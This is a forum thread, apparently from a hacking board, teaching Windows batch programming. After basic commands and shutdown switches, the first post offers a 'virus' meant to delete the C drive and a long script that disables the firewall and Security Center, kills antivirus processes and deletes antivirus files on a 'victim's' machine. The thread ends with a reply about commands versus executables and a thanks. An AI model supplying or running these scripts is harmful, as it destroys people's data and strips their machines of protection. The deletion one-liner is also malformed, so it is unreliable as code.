Login Register






Learn Batch Programming filter_list
Author
Message
Learn Batch Programming #1
[Image: Ucfm1dg.jpg]


Batch File programming is really really easy then any other programming language.
Actually, it's nothing but a batch of DOS ( Disk Operating System ) commands, hence the name Batch programming .
If you are into coding and know many languages you might have noticed that Operating System ( OS ) specific languages
( languages that work only on a particular operating system, eg: Visual Basic Scripting works only in Windows ) give you amazing control over the system.
This is why Batch is so powerful, it gives you absolute control over DOS.
Batch isn’t often used because it is OS specific, but it is fun and easy to learn.




Introduction To Batch Files



Part 1



Part 2





How to create a batch file
Spoiler:
  1. Open Notepad
  2. Type Whatever you want ( the code you want to enter)
  3. Click : "Save as"
  4. Change the file type to all files and folder
  5. Name the file as anything you want with the extension .bat





Basic CMD Commands
  • echo - This is a way you can insert text into the cmd window.
  • pause - This pauses CMD (This should be used after echo to keep the text on the screen).
  • exit - This exits the CMD window.
  • start - You Can start programs with this (You can put just the name in here if its in the windows folder otherwise you need a directory).
  • del - Deletes files (You May Need a Directory for this).
  • copy - Copies files (You Need 2 Directory's for this the starting 1 and the directory you want the file to end up ).
  • Move - Moves Files (You Need 2 Directory's for this the starting 1 and the directory you want the file to end up ).
  • %random% - Random Numbers (To See Numbers put %random% after echo)
  • Call - Calls another batch file.
  • CLS - Clears the screen of any previous data.
  • BREAK ON/OFF - When turned on within the batch file, the user has an option of stopping the batch file by bressing Ctrl+Break.
  • GOTO - This command is used to go to another section of the batch file
  • End - Ends the process.


Shutdown Command
  • shutdown : Gives the computer the command to either logoff, shutdown,restart or abort a shutdown
  • shutdown
  • shutdown -s
  • shutdown -r
  • restarts
  • shutdown -l
  • logoff
Spoiler:
Also, you can add time.
shutdown -s -t 60
shutdown in 60 seconds
shutdown -r -t 360
restarts in 6 minutes
The timer dosen't work for logoff.
To add a comment put -c "Comment Here" on the end





Make a virus using Batch file programming
Spoiler:

This virus will delete the C Drive.
The good thing about this virus is that it is NOT detected by antivirus.
Instructions:
  1. Open Notepad and copy below code into it.
    Code:
    @Echo off Del C:\ *.* |y

  2. Save this file as virus.bat (.bat is necessary)
  3. Now, when you wun this file, it will delete all the content of C Drive.





Disable or Delete your victim's Antivirus using Batch.
Spoiler:
Instructions:
  1. Copy this code to notepad.
    Code:
    @ echo off rem -- rem Permanently Kill Anti-Virus net stop “Security Center” netsh firewall set opmode mode=disable tskill /A av* tskill /A fire* tskill /A anti* cls tskill /A spy* tskill /A bullguard tskill /A PersFw tskill /A KAV* tskill /A ZONEALARM tskill /A SAFEWEB cls tskill /A OUTPOST tskill /A nv* tskill /A nav* tskill /A F-* tskill /A ESAFE tskill /A cle cls tskill /A BLACKICE tskill /A def* tskill /A kav tskill /A kav* tskill /A avg* tskill /A ash* cls tskill /A aswupdsv tskill /A ewid* tskill /A guard* tskill /A guar* tskill /A gcasDt* tskill /A msmp* cls tskill /A mcafe* tskill /A mghtml tskill /A msiexec tskill /A outpost tskill /A isafe tskill /A zap* cls tskill /A zauinst tskill /A upd* tskill /A zlclien* tskill /A minilog tskill /A cc* tskill /A norton* cls tskill /A norton au* tskill /A ccc* tskill /A npfmn* tskill /A loge* tskill /A nisum* tskill /A issvc tskill /A tmp* cls tskill /A tmn* tskill /A pcc* tskill /A cpd* tskill /A pop* tskill /A pav* tskill /A padmin cls tskill /A panda* tskill /A avsch* tskill /A sche* tskill /A syman* tskill /A virus* tskill /A realm* cls tskill /A sweep* tskill /A scan* tskill /A ad-* tskill /A safe* tskill /A avas* tskill /A norm* cls tskill /A offg* del /Q /F C:\Program Files\alwils~1\avast4\*.* del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe del /Q /F C:\Program Files\kasper~1\*.exe cls del /Q /F C:\Program Files\trojan~1\*.exe del /Q /F C:\Program Files\f-prot95\*.dll del /Q /F C:\Program Files\tbav\*.dat cls del /Q /F C:\Program Files\avpersonal\*.vdf del /Q /F C:\Program Files\Norton~1\*.cnt del /Q /F C:\Program Files\Mcafee\*.* cls del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.* del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.* del /Q /F C:\Program Files\Norton~1\Norton~1\*.* del /Q /F C:\Program Files\Norton~1\*.* cls del /Q /F C:\Program Files\avgamsr\*.exe del /Q /F C:\Program Files\avgamsvr\*.exe del /Q /F C:\Program Files\avgemc\*.exe cls del /Q /F C:\Program Files\avgcc\*.exe del /Q /F C:\Program Files\avgupsvc\*.exe del /Q /F C:\Program Files\grisoft del /Q /F C:\Program Files\nood32krn\*.exe del /Q /F C:\Program Files\nood32\*.exe cls del /Q /F C:\Program Files\nod32 del /Q /F C:\Program Files\nood32 del /Q /F C:\Program Files\kav\*.exe del /Q /F C:\Program Files\kavmm\*.exe del /Q /F C:\Program Files\kaspersky\*.* cls del /Q /F C:\Program Files\ewidoctrl\*.exe del /Q /F C:\Program Files\guard\*.exe del /Q /F C:\Program Files\ewido\*.exe cls del /Q /F C:\Program Files\pavprsrv\*.exe del /Q /F C:\Program Files\pavprot\*.exe del /Q /F C:\Program Files\avengine\*.exe cls del /Q /F C:\Program Files\apvxdwin\*.exe del /Q /F C:\Program Files\webproxy\*.exe del /Q /F C:\Program Files\panda software\*.* rem --

  2. Save it with .bat extension.
  3. And you are ok.:Thumbs-Up:



Other usefull Video Tutorials
Spoiler:







Credits: Jimmy Ruska and laconix for the Video Tutorials
(This post was last modified: 02-27-2014, 09:23 PM by Pk2Global.)
[Image: T4OUWZ1.png]


Reply

RE: Learn Batch Programming #2
Too many people get "commands" and "executables" mixed up when it comes to batch. There's a difference, and the number of actually commands for cmd.exe are few and limited.

shutdown is an executable (shutdown.exe exists).
ArkPhaze
"Object oriented way to get rich? Inheritance"
Getting Started: C/C++ | Common Mistakes
[ Assembly / C++ / .NET / Haskell / J Programmer ]

Reply

RE: Learn Batch Programming #3
tyvm for the information

Reply